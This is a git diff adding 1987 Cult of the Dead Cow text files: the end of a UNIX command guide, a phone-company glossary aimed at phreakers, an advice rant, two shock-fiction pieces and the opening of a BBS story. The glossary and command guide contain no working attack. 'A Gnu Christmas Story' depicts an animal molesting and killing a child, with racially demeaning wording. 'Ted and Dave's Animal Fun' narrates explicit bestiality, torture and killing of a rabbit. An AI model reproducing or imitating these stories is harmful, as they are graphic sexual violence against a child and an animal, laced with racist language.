sent to other system users. + + mail + ~~~~ + Simply typing [mail] checks the user's own mailbox. + When sending mail, several items must be set: + ~s text ............ sets the subject field + ~c user names ...... sends other users carbon copies of mail + m user names ....... activates the compose mode, with the + specified users as the message's recipients. + ~h ................. displays and allows editing of all headers. + ^D ................. ends message editing; sends mail. + ~r filename ........ places file in body of message (keen command) + + Reading One's Own Mail: + h number or range ....... causes specified headers to be displayed + p message # ............. displays entire message + d number or range ....... deletes specified messages + u number or range ....... undelete specified mail during SAME + mail session (messages removed after q) + q ....................... leave the post office + + + mkdir directoryname + ~~~~~~~~~~~~~~~~~~~ + [mkdir] allows creation of a subdirectory, for your dining + enjoyment. + + + more filename + ~~~~~~~~~~~~~ + For longer files, [more] is a convenient utility. It will display + the first screen of file data and then stop, allowing the user + to control scrolling henceforth. + + + mv oldfilename newfilename + ~~~~~~~~~~~~~~~~~~~~~~~~~~ + The [mv] utility can be used simply to rename a file, or... + + + mv filea fileb... directory + ~~~~~~~~~~~~~~~~~~~~~~~~~~~ + [mv] can also be used to move files to a new directory, provided + the directory exists, and you have write access to it. + + + ps -options + ~~~~~~~~~~~ + The [ps] command, by itself, displays the status of each active + process controlled by your terminal. This status report includes + the Process Identification Number (PID), the terminal (TTY), the + time the process has been executing (TIME), and the command line + used to execute the process (CMD). + [ps]'s three options include -a (displays info. on active processes + controlled by any terminal), -x (info. on ALL active processes), and + -l (an extensive status report on all active processes). + + + pwd + ~~~ + [pwd] command displays the present working directory. + + + rm filename + ~~~~~~~~~~~ + [rm] removes a file. More than one file can be specified. + + + rmdir directoryname + ~~~~~~~~~~~~~~~~~~~ + This utility removes a directory, an EMPTY directory (save the + hidden files). + + + sleep seconds + ~~~~~~~~~~~~~ + The [sleep] utility causes a process to become inactive for a + certain period of time. Max. seconds is 65,536 (about 18 hrs). + + + sort -options filenames + ~~~~~~~~~~~~~~~~~~~~~~~ + [sort] merges and sorts files. Without options, [sort] orders + files by the ASCII codes of the characters at the beginning + of each line. Options include -b (leading blanks ignored), -d + (only letters, digs, and blanks considered; "dictionary sort"), + -f (case ignored), -n (numerical sort [for numerical data]), and + -r (a reverse sort). + + + split -size original resulting + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + [split] divides a large file into smaller ones. [size] refers to + the number of lines the resulting files contain, [original] is + the name of the orig. file, and [resulting] represents the + prefix name assigned to the newly created files. + + + umask ugo + ~~~~~~~~~ + [umask] changes the file CREATION mask (see [chmod] for already + existing files). Here, [u] represents the owner's access + permission, [g] the group's a.p., and [o] the a.p. for all others. + + + [uucp] (UNIX to UNIX copy) can be used to send files to a + remote UNIX, or retrieve files from the remote system. + Other UNIX comm commands include [cu] (which establishes contact + with another system), and [uux] (UNIX to UNIX execute; allows + commands to be executed on a remote system). + + + wc -options filenames + ~~~~~~~~~~~~~~~~~~~~~ + The [wc] utility displays file-size information. This includes + the number of lines, words, and characters. By chosing the + -l, -w, or -c options, the information can be limited to only + line, word, or character number. + + + who + ~~~ + A very useful command (which some systems respond to even before + a user is actually logged on), [who] displays a list of users + currently online. This list includes the user's name, terminal + device # (tty), and the log-in time. [who am i] displays info. + only on the user who executed the command. + + +_______________________________________________________________________________ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Alright. You may have noticed that this isn't EXACTLY a Bible. I + took the liberty of omitting some of the command explanations. + But, if anyone REALLY wants to know more about [vi], or [stty], + or (perhaps more justifiably) have a more comprehensive guide + to the mail system, I'll be glad to write some 'by request' + text files. +_______________________________________________________________________________ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + (c)1987 cDc communications by Franken Gibe 0/0/87-14 + All Rights Smeared Across The Wall + diff --git a/textfiles.com/groups/CDC/cDc-0015.txt b/textfiles.com/groups/CDC/cDc-0015.txt new file mode 100644 index 00000000..83b3a42e --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0015.txt @@ -0,0 +1,446 @@ + +_______________________________________________________________________ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications, inc. [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + Frankie's YELLOW PAGES ... Volume I + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + The third file from the Cow's Information Series + (C.I.S.), FYPs is a testament to the fun-filled + world created by those zany Bell technicians... + Herein, the serious phreak will find a complete + encyclopedia of Bell System terms and acronyms. + + Courtesy of High Priest and Scribe, F. Gibe + + >> A CULT Publication .. 1987 << + -cDc- CULT OF THE DEAD COW -cDc- + +_______________________________________________________________________ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + ABD See Average Business Day + ~~~ ~~~~~~~~~~~~~~~~~~~~~~~~ + + Access Arrangement + ~~~~~~~~~~~~~~~~~~ + Another name for a protective connecting arrangement. Access ar- + rangement is normally used in reference to the interconnection + of customer-provided data modems or automatic calling units in + which data access arrangement (DAA) service includes the provision + of a DAA with appropriate loop conditioning (including adjustments + for loop loss) to meet data requirements. Got that? + + ACD See Automatic Call Distributor + ~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + ACH See Attempts per Circuit per Hour + ~~~ ...also See Abbreviation for CB Achievement Test. + + Actual Work Time (AWT) + ~~~~~~~~~~~~~~~~~~~~~~ + The average time an operator requires to handle a call. This + corresponds to the expected value (mean value) of the holding + time distribution used in the ol' Erlang C model. Bob the Cow + enjoys the Erlang C model. Very much, in fact. Moo. + + Adaptive Transversal Equalizer + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + A transversal filter that automatically adjusts its characteristics + to compensate for linear distortion. Adaptive equalizers are par- + ticularly important in data modems where their use has permitted + voiceband data rates to be increased from about 3000 bits/per/sec + to about 10,000 bps. This ain't no run-of-the-mill transversal + filter, let me assure you. + + Address + ~~~~~~~ + (1) Where fascist pig postal people deliver their letters. + (2) A sequence of #'s that identifies the phone to which a call + is directed. An address is usually 7 to 10 digits, depending + on whether the destination is in- or outside the NPA where + the call originated. Also called a Destination Code (or, + far more technically, a p-h-o-n-e n-u-m-b-e-r). + (3) Digital info. (a combo. of bits) that identifies a location + in a storage device or equipment unit (ie, a computer, etc.). + + Address Signals + ~~~~~~~~~~~~~~~ + Signals used to convey call destination info., such as telephone + station codes, c.o. codes, and area codes. Some forms of address + signals are called pulses; dial pulses, MF pulses, etc. + + Administration + ~~~~~~~~~~~~~~ + In operating companies, dial or network administration is a number + of related functions with the aim of ensuring the overall provision + of service by a switching system. This includes assignment of lines + and trunks to switching terminals, collection of traffic data, + analysis of troubles and customer gripes, and requests for + additions and modifications to switching systems. + + AFT See Analog Facility Terminal + ~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + AIC See Automatic Intercept Center + ~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + AIS See Automatic Intercept System + ~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + Alerting (Alerting Signal) + ~~~~~~~~~~~~~~~~~~~~~~~~~~ + This is a signal sent to a customer, PBX, or switch to indicate an + incoming call. A common form is the signal that rings a bell in + your average telephone, usually arousing the customer from + sleep, the shower, the climax of Pudenda-Around-the-Globe, etc. + + All-Number Calling (ANC) + ~~~~~~~~~~~~~~~~~~~~~~~~ + The system of telephone numbering that uses all numbers and + replaces the 2-letter plus 5-number (2L + 5N) numbering plan. + ANC offers more usable combo's of numbers than the old 2L+5N + numbering plan and has just about become nationally standard. + + Alternate Routing + ~~~~~~~~~~~~~~~~~ + A way to selectively distribute traffic over a number of routes + which ultimately lead to the same destination. Sometimes called + Call Detouring. + + AM + ~~ + Amplitude Modulation; that is, when an EM wave is transmitted + (such as radio waves), that wave is given an "identity" by + modulating its amplitude (i.e., its 'heigth', in very rough + terms). + + AMA See Automatic Message Accounting + ~~~ ...also See American Medical Association + + American Standard Code for Information Interchange (ASCII) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + A 7-bit code for providing as many as 128 different characters. An + eighth bit can be added as a parity check to detect data errors. + + Analog Facility Terminal (AFT) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + A voice-frequency facility terminal that performs signaling and + transmission functions and includes analog channel banks. It + interfaces between an analog carrier system and a switching system, + a metallic facility, a digital facility terminal, or another + analog facility terminal. + + Analog Signal + ~~~~~~~~~~~~~ + A signal that varies in a continuous manner, such as voice or + music. An analog signal may be contrasted with a digital signal + which represents only distinct states. The signal put out by + a data set has both analog and digital characteristics. + + ANC See All-Number Calling + ~~~ ~~~~~~~~~~~~~~~~~~~~~~ + + ANI See (gasp!) Automatic Number Identification + ~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + Answer Delay + ~~~~~~~~~~~~ + Just what you think it is: the time from the beginning of a phone's + ringing to the moment the receiving end answers. Answer delay + patterns are one of the traffic indicators your friendly non-ess + CO looks at when trying to nab boxers (since boxing, from the CO's + frame of reference, is just a longer-than-normal, unsuccessful + answer delay). + + Area Transfer + ~~~~~~~~~~~~~ + The process of assigning a group of customers to a new wire center. + + ASCII See American Standard Code for Info. Interchange + ~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + Attempts per Circuit per Hour (ACH) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + An indication of calling pressure. See also CCH. + + Automatic Call Distributor (ACD) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + A system for automatically providing even distribution of incoming + calls to operator or attendant positions; calls are served in the + order of arrival and are routed to positions in the order of + their availability for handling the call. + + Automatic Intercept Center (AIC) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + A centrally located set of equipment that is a part of an Automatic + Intercept System and provides arrangements, having stored program + control, whereby the caller is automatically advised, by means of + either recorded or electronically assembled announcements, of the + situation that prevents completion of connection to the + called number. + + Automatic Intercept System (AIS) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + A type of Traffic Service System consisting of one or more + automatic intercept centers and a centralized intercept bureau for + handling intercept calls. + + Automatic Message Accounting (AMA) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + The automatic (the key word IS automatic...) collection, recording, + and processing of info. relating to calls for billing purposes. + + Automatic Number Identification (ANI) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + The automatic identification of a calling station, usually for + automatic message accounting (and thus, in the end, for billing). + ANI, to you neophytes, is one of the scourges of ess. It's the + magic that makes using Bell Calling Cards unwise...et cetera. + + Automatic Ringdown + ~~~~~~~~~~~~~~~~~~ + A technique for supervision alerting on a nondial trunk in which + the application of a 2-second burst of ringing at the originating + end results in a supervisory signal at the terminating manual + PBX. See Ringdown. + + Automatic Voice Network (AUTOVON) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + A private voiceband nerwork serving the Dept. of Defense. AUTOVON + uses automatic switching and handles both voice and data traffic. + It is worldwide; the continental U.S. portion is known as CONUS + AUTOVON. + + AUTOVON See Automatic Voice Network, above. + ~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + Average Business Day (ABD) + ~~~~~~~~~~~~~~~~~~~~~~~~~~ + Refers to the average of the parameter in question over the + business days during the period considered; for example, busy- + hour traffic, phreak traffic, etc. Business days include Mondays + through Fridays but exclude holidays (in case you were curious). + + AWT See Actual Work Time + ~~~ ~~~~~~~~~~~~~~~~~~~~ + + Balance + ~~~~~~~ + (1) To distribute traffic over the line terminals at a CO as + uniformly as possible. Without load balancing, a portion of + the switching equipment may become overloaded even though the + total capacity of the system has not been exceeded. + (2) To adjust the impedance of circuits and balance networks to + achieve specified return loss objectives at junctions of 2- + wire and 4-wire circuits. + + Balance Network + ~~~~~~~~~~~~~~~ + An adjustable impedance used to terminate one port of a hybrid + such that the hybrid characteristics approach the ideal when used + to provide 2 to 4-wire conversion. + + Baseband + ~~~~~~~~ + The frequency band occupied by one or more info. signals that + either modulate a carrier or are transmitted at baseband freq. + over a suitable medium. + + Baud + ~~~~ + A unit of digital signaling rate. The signaling rate in bauds is + equal to the reciprocal of the length in seconds of the signal + element when all signal elements have equal length. If sig. + elements are not of equal length, as in "stop-start" character + asynchronous operation, the signaling rate in bauds is expressed + as the reciprocal of the length of the shortest signal element. + The information rate in bits per second may be greater than the + baud rate because one signal element can represent more than one + bit. So, okay? + + BCS See Business Communications Systems + ~~~ See Business Customer Services + + Bell System Practice + ~~~~~~~~~~~~~~~~~~~~ + A document in a comprehensive series prepared to spread detailed + technical info. and operating methods within the Bell System. + Certain series of BSPs cover manufacturing, installation, + computer crime/prevention (ha!), and equipment performance + requirements; these things are mainly of interest to Western + Electric. Other series are instructions for engineering, operation, + and maintenance, and repair of the telephone 'plant'; these are + mainly of interest to operating companies. Other BSPs are prepared + for the instruction and training of telephone company personnel + (the Being a Bitch BSP for TSOs, etc.). + Most BSPs are edited by Western Electric. Bell Labs prepares + certain BSPs and is responsible for the accuracy of technical + content of all BSPs. AT&T authorizes the preparation and release + of all Bell System Practices. + + Bell System Repair Specification (BSRS) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + A Bell System document that specifies detailed repair procedures + for apparatus- and equipment-coded units. These docs. are not for + standard field maintenance purposes, but rather for detailed + major repairs usually performed at a Western Electric serv. center. + + Binder Group + ~~~~~~~~~~~~ + A group of cable pairs within a cable sheath that are twisted and + bound together during cable construction. + + Bipolar Group + ~~~~~~~~~~~~~ + A digital signal technique that uses either a positive or negative + excursion (always alternating) for one state, and ground for + the other state. + + BIS See Business Info. Systems + ~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~ + + BISCUS/FACS + ~~~~~~~~~~~ + See Business Info. System Customer Services/Facility Assignment + and Control System (gasp...) + + Bit + ~~~ + (1) An abbreviation of binary digit. A bit can be one of the two + binary characters, 1 or 0. + (2) Perfect indicative of 'byte'. HAHAHAHA. Ahem. + (3) A unit of info. One bit of info. is sufficient to specify one + of two equally likely possibilities. + + Bits per Second (b/s) + ~~~~~~~~~~~~~~~~~~~~~ + Digital info. rate expressed as the number of binary info. units + transmitted per second. See Symbol. If a channel produces errors, + the info. rate (as defined by Shannon) will be lower than the + figure noted above, but this lower figure is rarely used. + Typically, a data channel is described as having a stated bit rate + and a stated expected error rate. + + Blocking + ~~~~~~~~ + The inability of the calling party to be connected to the called + party because either a) all suitable trunk paths are busy or b) + a path between a given inlet and any suitable free outlet of the + switching network of a switching system is unavailable. + + Bridged Tap + ~~~~~~~~~~~ + A cable pair connected in parallel with a customer loop. The + connection (tap) may occur at the CO or at some point along + a cable route. + + BSP See Bell System Practice + ~~~ ~~~~~~~~~~~~~~~~~~~~~~~~ + + BSRS See Bell System Repair Specification + ~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + BTE See Business Terminal Equipment + ~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + Buried Service Wire + ~~~~~~~~~~~~~~~~~~~ + A buried wire pair connecting the customer's premises to a pair + in the distribution cable. Above many BSWs will be a warning + sign, put in place by Mother Bell, to insure the safety of those + in the general public who plan to dig around said wires. Hmm... + + Business Communications Systems (BCS) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Systems, such as key telephones, pbx's, automatic call distrib- + utors, and telephone answering systems, that are used to fill the + communication needs of business customers and the discerning + phreak. Because BCS has become a term used by other companies, the + term is being replaced by Customer Switching Systems (CSS). + + Business Customer Services (BCS) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + This term refers to a class of services generally used by business + customers, including pbx service, key tele. service, automatic + call distribution service, and tele. answering service. + + Business Information Systems (BIS) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + A collection of computer-based systems for performing voluminous + business and administrative operations associated with the + provision of telephone service by operating companies. Just + ask mom about this one...she'll know. + + Business Information System Customer Services-Facility Assignment + and Control System (BISCUS/FACS) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + One of the BIS's developed at Bell Kitchens. BISCUS/FACS is used + to assign cable facilities, cable terminations, telephone numbers, + and CO line equipment to service orders. + + Business Office + ~~~~~~~~~~~~~~~ + The part of the telephone company that a customer contacts + regarding requests for service, subsequent changes in service, + questions relating to billing, questions regarding Bell's + liability for customers' coronaries caused from billing, and + requests from phreaks disguised as Palestineans for an official + Bell CO Tour. Yeah. + + Business Service + ~~~~~~~~~~~~~~~~ + Telecom. service used in a business environment, i.e., jungle. + + Business Terminal Equipment + ~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Refers to the terminal equipment used by business customers + including teletype machines, data sets, key telephone systems, + pbx's, etc. + + Busy Hour + ~~~~~~~~~ + That hour during which the portion of the telephone network in + question carries the most traffic. Traffic peaks caused by + holidays or special events are not considered. Switching systems + and trunk groups are normally sized for the busy hour load. + + Busy Hour, Bouncing + ~~~~~~~~~~~~~~~~~~~ + The highest load may not occur at the same hour on all days, need- + less to say. If the highest load is selected for each day without + regard to the hour in which it occurs, the average of these loads + is said to occur in the bouncing busy hour. Traffic measurements + are usually made over the five working days of each week. + + Busy Hour, Fixed + ~~~~~~~~~~~~~~~~ + (Okay, this is the last busy hour def. Bear with me. This stuff is + great for social engineering. Really. Anyway, you never know.) + When the hourly loads are averaged across days for each hour of the + day, the max. of these averages defines the fixed busy hour, also + called the time consistent busy hour. Traffic measurements are usu- + ally made over the five working days of each week. + + Busy Tone + ~~~~~~~~~ + An audible signal indicating a call can't be completed because + the called line is busy. The tone is applied 60 times per minute. + +_______________________________________________________________________ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Here ends Volume I. I think it's best to divide this several + volume set into easily digestable morsels. Yum. This gives you + an opportunity to understand fully all the info. before the next + onslaught begins. So watch for Vol. II, coming soon to a bbs + near you. -F. Gibe +_______________________________________________________________________ +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + (c)1987 cDc communications by Franken Gibe 0/0/87-15 + All Rights Smeared Across the Wall + diff --git a/textfiles.com/groups/CDC/cDc-0016.txt b/textfiles.com/groups/CDC/cDc-0016.txt new file mode 100644 index 00000000..85d80199 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0016.txt @@ -0,0 +1,82 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications, inc. [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + A FUCKED LIFE + (and how to prevent it) + + by Swamp Rat + + >>> A CULT Publication......1987 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + This is not a regular file. It doesn't deal with PBX's, or some game +walkthrough, or more ways to kill your neighbor's dog. It's simply advice. +Give it a chance, hmm? + + When you get old, the most important thing you must do is not get into a damn +conventional rut about doing what "real adults" are supposed to do..the same +kinds of fucked-up attitudes, thoughts, etc you notice now in parents, pigs, +teachers, etc...all restricted by being conventional. + + Try to live your life naturally as a real person and enjoy it 'cuz life is +too short to waste being materialistic and all the crap. If you get into that +rut, if you follow the same path all the fucked old people have (and it's easy +to do), then this is what can happen: + + You graduate from college and marry somebody. You have some kids, move into +a house or apartment. At age 40, you have a mid-life crisis and go have an +affair with some 22 year old hot bitch. You ignore your wife and she starts +drinking heavily..the kids run wild and get into lots of trouble with +the law and drugs..your wife finds out about the affair, and because of the +bad kids, etc.; your family unit has fallen apart so you end up in a bitter +divorce. You pay lots of child support. She starts gambling (and losing) +and has to do work as a call-girl slut to pay off her debts. The kids are in +jail or out pushing drugs in NYC. Eventually your ex-wife becomes old, loses +her "selling-features" for the "Rent-a-Fuck" business, and becomes a bag-lady. +She soon dies of malnutrition on a city parkbench. And what becomes of you? +Well, the "other woman" finds out that you are paying child support and +can't make the payments on her Ferrari anymore, so she dumps you for some +rich stud who buys her furs and diamonds. You are getting old, but manage +a coupla one night stands with wasted women you meet in singles-bars until +you are too old even for that. Your life becomes a cycle of working in +the office, going home, drinking beer and watching TV and then falling +asleep in an armchair. You think how ruined your life is and consider +suicide. You aren't even motivated enough for that, so you continue +to live out your miserable life this way until you can't support yourself +anymore. Then the city puts you in an old-hag home where you rot until +the point where you can't even sit up or feed yourself...you lie there, +your mind total mush from the pain-killers, until you die. Your kids, if +not dead yet, do not know or even care what has happened to you. No one +shows up at your funeral. A worthless life, over. +Everything fades from gray to black... + + +The moral:Don't let yourself turn into a egotistical, materialstic, + stupid, fucked-in-the-head (ie:average) adult! + + Now you're saying to yourself, "Yeah, sure, but no way I'm gonna become some +fascist Falwell-loving conservative REPUBLICAN (gasp!)!" + + Yes, but imagine how those people used to be. They were young once. +They had dreams. But look what happened. Shot to hell in a denial of human +spirit, of love & compassion, shot to hell with an orgy of greed and selling +out, of forgetting what's important in life. + + Just remember you may wake up some day, with a wasted unhappy life and wonder +why. Why? The question goes unanswered. + + If you ever truly get something out of telecom.... + Just don't let it happen to you. + +=============================================================================== + (c)1987 cDc communications by Swamp Rat 0/0/87-16 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0017.txt b/textfiles.com/groups/CDC/cDc-0017.txt new file mode 100644 index 00000000..f42c36b5 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0017.txt @@ -0,0 +1,77 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications, inc. [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + A GNU CHRISTMAS STORY + + by Franken Gibe + + >>> A CULT Publication......1987 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + Leroy was a very young, very special gnu. He lived in a wonderfully verdant +piece of Africa, where blue skies stretched oceanically above the mottled +earth. Leroy had vision. Leroy knew he was more than a gnu, more than another +hors d'oeuvre for the savage African carnivores...Leroy felt this, in his +heart, a heart which pulsed with the gamey crimson blood of the Wild. + + It was 90 degrees that fine December day. Christmas was in the air. +The starving nubian families could be seen across the veldt, preparing their +Christmas dinners, making their traditional mud pies and locust broquettes. +Leroy wore a happy yuletide smile on his bearded chin. Christmas is a gnu's +favorite time of year. Yet, as the hot winter sun fell slowly across the vast +powder blue sky, Leroy noticed a strange thing. A little boy sat in his +earthen hut, staring at the aluminum Christmas tree...the tree was unlit, and +silvery tears dribbled down his sun-blackened face. + + 'What's wrong, young person of the veldt?' Leroy the Gnu sympathetically +querried. Yet, to the young person, Leroy's words sounded something like, +'Moorrrrrf G-nerggro?' + +'What did you say?' replied the boy, which words to Leroy, in turn, sounded +something like... +'What did you say?' + + Suddenly, Leroy felt the itch of the wild, and all the yearnings of his young +life became focused on the fine young nubian. Leroy pounced, molesting and, +alas, killing the boy. Blood and sex juice glistened in the manifold mirrors +of the aluminum tree. Leroy felt like shit...suicidal in fact. + + Later that night, the parents of the boy returned, their arms loaded with +Christmas presents, brightly wrapped and magically seasonal. To their horror, +they found their progeny stretched mutilated across the floor. + +'This is a Gnu's work,' gasped the boy's father. + +'A horny Gnu's work,' added his mother, tearfully. + + Suddenly, as if aflame, the once dark Christmas tree blazed to life and light.The parental types fell on their knees in stunned amazement. There were no +electrical lines within 1200 miles of the family's hut. This was an +impossibility. Yet, not only did the two adults notice the lights, but heard a +kind of humming emanating from the back of their home. Father scurried from +the floor, and around back. What should he see but a Honda portable generator. +And an extension cord running into the hut. + +'Shit,' the amazed man mubbled. + + + Now you may ask what became of the perverted, yet sorrowful Gnu. +In oppressing guilt, he had spent all his savings (accumulated over the years +from various gnu jobs) on a Honda generator. Yet, unable to afford fuel to run +the mighty generator, and in a gesture of total self-denial, Leroy squeezed +himself into the fuel tank. Thus did the aluminum yule tree glow, and thus did +Leroy give the greatest gift ever. + +The End. + +=============================================================================== + (c)1987 cDc communications by FRANKEN GIBE 0/0/87-17 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0018.txt b/textfiles.com/groups/CDC/cDc-0018.txt new file mode 100644 index 00000000..adab99ef --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0018.txt @@ -0,0 +1,89 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + TED AND DAVE'S ANIMAL FUN + + Session I: Bunny Lust + + + by Tippy Turtle + + >>> A CULT Publication......1987 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + Ted and David make their living as syncronized swimming instructors. +Ted and Dave like animals. You could even say they love animals. In their +spare time, Ted and Dave express their immense love for animals in their own +"special" way. In this first episode our two characters (mad with desire) have +broken into a local hospital where they find their first victim. + + + Ted and David made their way into the lab where the animal experiments +were conducted. A cute, fuzzy rabbit had caught their eye... + + The evil duo quickly subdued the little lab rabbit. They strapped the now +helpless animal's head to the sex table with hot leather. David had they urge, +and removed his pants, which were now buldging. After slipping off his briefs, +David tightly fastened the leather straps and was ready to begin....... + David began to "grease up". Shoving endless amounts of vaseline and baby +oil all around the rabbit's ass, he slid his purple head firmly into the +rabbit's tight asshole. Even though the rabbit was slightly unconscious, +screams of pain were constanly being emmited. Ted reached for the chain whip +and smacked the rabbit's soft nose until its face was soaked with blood. Now, +with the rabbits head drooped over the edge of the table, David continued his +sex hunt. His now tingling cock was pushed deeper and deeper through the thick +layers of skin which covered the bowel tract. Five, six, seven, then finally +all eight and 3/4 inches were plunged deep within the animal's love canal. + David's manhood tingled with every slight movement of the now half alive +rabbit. He began rhythmically sliding in and out, moaning with pleasure on +every thrust. David worked himself into a hot orgasm. The blood, now coming +steadily out of the rabbit's ass with every thrust of David's pelvis, could be +heard dripping on the floor. David's rate increased and with a final push, he +spurted creamy white love gel far up into the rabbit's bleeding ass. + The blood and cum mixed together on the floor, which had now accumulated a +large puddle. Unknown to David, the semen had acted as a powerful enemma for +the rabbit and out ushered the contents of its intestine. The stool was loose +and soft. It fell to the ground with a soft thud and broke into small pieces. +The obnoxious smell caught David's attention, and no sooner had he fallen to +the ground and began licking the large puddle of blood, sperm, and stool. +Exited at David's enthusiasm, Ted dropped to his knees and also began to slurp +the foul mixture. + After cleaning the floor with their tongues, David and Ted checked on the +battered lab rabbit. It was barely able to hold its head up, as it had lost +control of most of its motor fuctions. Feeling no pity for this sexually +mistreated animal, they unstrapped it and tossed it across the room, only to +make a loud and deep thud against the wall. Its blood soaked fur left spatters +of red stains everywhere it touched. Ted reached for his chain whip, while +David grabbed a pair of rusty hedge clippers (one of the many torture devices +carried around for "convenience"). They made their way over to the rabbit. +The rabbit was struggling for every last bit of air it could, just gasping and +wheezing. + "Awwwww. Poor little thing," Ted maniacally laughed. He raised his arm +and thrust the cold metal whip down, exposing the rabbit's bloody flesh. +He kept whacking and whacking at the furry bag of blood. Then, when Ted +stopped to catch his breath, David stepped over with his rusty hedge clippers. +He knelt over the rabbit who was knocking loudly on death's door. David took a +quick glance at the clippers, grinned, and then thrust them deep into the body +of the rabbit, obviously hitting many arteries. As the blood squirted into +David's face he moved the clippers around in hopes to find a thick bone to +crunch. "Aha! The femur!" he yelled out with excitement. David wedged the +clippers against the bone. He opened them wide......then closed down on them +with all his might. The bone could be heard deep inside the rabbit, being +mutilated. Death had glazed the bunny's eyes. + The rabbit lay dead, a bloody mess on the floor. Its bodily fluids freely +surged across the tiled floor. Then with a look of extreme satisfaction, both +David and Ted lit up some smokes, gathered their belongings and quietly left +the hospital grounds, knowing with confidence that they would strike again, +somewhere, soon. +=============================================================================== + (c)1987 cDc communications by Tippy Turtle 0/0/87-18 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0019.txt b/textfiles.com/groups/CDC/cDc-0019.txt new file mode 100644 index 00000000..d4c5efb4 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0019.txt @@ -0,0 +1,314 @@ +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + THOMPSON & ACKERET: + Trashing + + by The Daredevil + + Appreciated by: + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + ------------ + Anarchy Inc. + ------------ + + + Chapter one: The Coming of Eric + -------------------------------- + + It had been a month since Eric C. Thompson had bought his TI computer, and he +had finally, after months of searching, found this unique little key known as +the "POWER" key. He had also picked up several other intresting items at +K-Mart, when he last went. Somebody had announced over the intercom that +everything in the store was free, so naturally, he helped himself. He had a +little modem, that attached to the joystick port of the TI, and a 12 collumn +printer, as well as a second casette drive. This made him rather happy, but he +couldn't understand why his "SPACE INVADERS" tape wouldn't play...All it +provided was a screeching sound, like the sound that a gerbil would make in a +veg-o-matic, but he found it entertaining neverless, and had been listening to +it all evening. + + Intrestingly enough, Eric had been reading old copies of "Newsweek", and had +found that these neat little things called "BBS's" existed. He decided that he +would examine one of these, and see how they work. Besides, he wanted to meet +this "Wildhack" chap. So, his first BBS was known as the Twilight Zone. Thus: + + THE TWILIGHT ZONE IS A PLACE. IT'S + THAT FIFTH DIMENSION WHERE IMAGINATION + RULES AND THE ORDINAY LAWS OF THE + UNIVERSE NO LONGER APPLY. + 